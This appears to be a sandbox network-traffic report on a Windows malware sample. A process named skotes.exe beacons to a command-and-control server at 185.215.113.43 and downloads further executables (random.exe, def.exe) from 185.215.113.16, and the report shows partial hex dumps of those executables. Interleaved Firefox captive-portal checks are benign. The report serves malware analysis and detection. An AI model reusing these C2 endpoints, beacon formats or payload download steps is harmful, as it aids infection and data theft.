Nov 18, 2024 19:04:44.544369936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007214001&unit=246122658369
Nov 18, 2024 19:04:45.445708990 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49995	185.215.113.16	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:45.475224972 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 19:04:46.397073030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:46 GMT Content-Type: application/octet-stream Content-Length: 2772992 Last-Modified: Mon, 18 Nov 2024 17:09:36 GMT Connection: keep-alive ETag: "673b74d0-2a5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +@6+`Ui` @ @.rsrc`2@.idata 8@fbblxjme):@xjruxrdz (@.taggant@".*@
Nov 18, 2024 19:04:46.397689104 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.397697926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.399095058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.399111032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.401820898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.401833057 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.404567003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:46.404578924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|om.^kK[XcP {J'}U_zaf@fqlHBq06W\|d]5`prYc'Yzy6$"cU/nd/'a.2i)`
Nov 18, 2024 19:04:46.407243013 CET	1236	IN	Data Raw: 66 71 65 0b 93 3d 97 f3 e5 1a 3c 1c 1f bc fd 13 20 25 5a e3 da 2a c4 05 d6 5d 78 c5 d0 0b 92 01 d2 18 5e 84 bd 22 5d 19 75 0a ea 59 a8 59 bd 4f 4a 93 5d 83 aa 79 5e ed c4 62 73 4c 4c 52 a7 6b b4 2f a3 05 da 77 da 5d 10 1e 66 95 c8 c8 33 48 60 b5 Data Ascii: fqe=< %Z*]x^"]uYYOJ]y^bsLLRk/w]f3H`nyx5gG"&f/o;`}9.^>-,fIjn'(RW=G0w_`GefD1RY%'j:~.`0B]@IZBb7_v3ecQnW!P5
Nov 18, 2024 19:04:46.407254934 CET	1236	IN	Data Raw: 09 5b cb 91 76 ba bd 63 b4 0c c1 fa 58 a5 cb 61 d0 84 6b 33 87 a2 c3 d2 8b 9d 15 7d f5 72 b4 47 c5 19 ba 3e d9 61 44 28 16 0a 24 34 68 69 d3 1c ce 92 a3 76 6a 88 11 1d cc 92 bb 06 52 d0 96 59 ce 44 b6 48 de 71 fa eb 40 eb 47 68 60 9d 66 eb a5 f0 Data Ascii: [vcXak3}rG>aD($4hivjRYDHq@Gh`fMV\|X(]KIknIvf)UC`m8'FPrf1yspH8H_R-QLr~+T.pBKNg}b!h0w{K'g5^j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50005	185.215.113.16	80	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:46.820542097 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 19:04:47.712642908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:47 GMT Content-Type: application/octet-stream Content-Length: 2772992 Last-Modified: Mon, 18 Nov 2024 17:09:38 GMT Connection: keep-alive ETag: "673b74d2-2a5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +@6+`Ui` @ @.rsrc`2@.idata 8@fbblxjme):@xjruxrdz (@.taggant@".*@
Nov 18, 2024 19:04:47.712754965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.712892056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.713504076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.713515997 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.714220047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.714231968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:47.714241982 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|om.^kK[XcP {J'}U_za
Nov 18, 2024 19:04:47.714802980 CET	1236	IN	Data Raw: 1a 9f e8 5d 41 f7 9c 17 ea 5d 51 fe e5 35 81 0d a2 10 56 f9 d3 5f 60 fb e3 0d 1a f4 a9 08 71 3d 4c 0b 6d 35 70 24 82 d7 05 3e 60 6e 92 ef 6e 22 2a 40 5a 7c 7c df 96 fd d9 65 6f 48 1c 20 05 f1 54 06 50 19 d1 03 58 03 d8 0a 71 f0 ac 53 68 01 f7 7f Data Ascii: ]A]Q5V_`q=Lm5p$>`nn"@Z\|\|eoH TPXqSht$^/1zi6lE!yTM#%JoAauwl;wMH*XCC>Di5J(g30EbdhizUbj"uE\VWtHbg3
Nov 18, 2024 19:04:47.714818954 CET	1236	IN	Data Raw: 34 66 af 40 3d 21 ed bf a8 03 b7 3d 96 6a 77 4f 84 52 c7 11 7a a7 d3 7b 90 26 d3 f4 85 2f 0b 9c cb 8a 66 c5 a8 86 83 3e 56 3f eb 6f 5e de f5 63 66 31 fb 7d 11 3e db f4 15 03 03 33 6e b2 d7 b4 e6 da 87 bf d7 e2 a1 a7 0a 9c 9f ab de 7d 62 af 06 01 Data Ascii: 4f@=!=jwORz{&/f>V?o^cf1}>3n}bgb./f3D6M+;CBK!y>}RM.bi`&Y>(B-y"2EmuZF(s].<a~Un`Ya_SBn=e6[.h{Q
Nov 18, 2024 19:04:47.717967033 CET	1236	IN	Data Raw: da 87 99 06 63 7d 4e f1 b5 40 ae b4 a6 06 cb 2d c8 71 ea 63 e6 16 d5 63 73 81 c7 98 5e 33 c3 0c e4 7d bb 2a dd f8 0d 43 50 d3 90 73 19 ec 13 9e 00 2a 6b ed 9f f5 45 7f 10 34 25 2e b4 2d 65 04 95 80 5e 51 28 1c 9f e9 a3 45 af de b0 cb cd ea 51 ab Data Ascii: c}N@-qccs^3}CPskE4%.-e^Q(EQ}-53ewH0K>nXfuX8^-PD8)8gkJwItq$(t[D}yH8\d!i qdfuIs_gY]cZssO[3xm$o!kjkM`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50020	34.107.221.82	80	7296	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:54.343497038 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 19:04:54.949502945 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 42159 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50024	34.107.221.82	80	7296	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:55.352593899 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 19:04:55.999737024 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 41157 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50025	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:55.905539036 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007215001&unit=246122658369
Nov 18, 2024 19:04:57.364495993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 18, 2024 19:04:57.365447998 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 18, 2024 19:04:57.365484953 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50033	34.107.221.82	80	7296	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:58.517486095 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 19:04:59.132783890 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 42164 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 19:04:59.410458088 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 19:04:59.542304039 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 42164 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 19:05:09.599370956 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50035	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:59.009190083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 19:04:59.928370953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50038	34.107.221.82	80	7296	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:59.461153984 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 19:05:00.068068981 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 41162 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 19:05:10.099977970 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50043	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:01.449985981 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 19:05:02.355730057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	50045	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:03.997667074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 19:05:04.916033030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	50046	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:06.459717035 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 19:05:07.357219934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	50054	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:08.115345001 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 19:05:09.073299885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:08 GMT Content-Type: application/octet-stream Content-Length: 2772992 Last-Modified: Mon, 18 Nov 2024 17:09:38 GMT Connection: keep-alive ETag: "673b74d2-2a5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 40 36 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 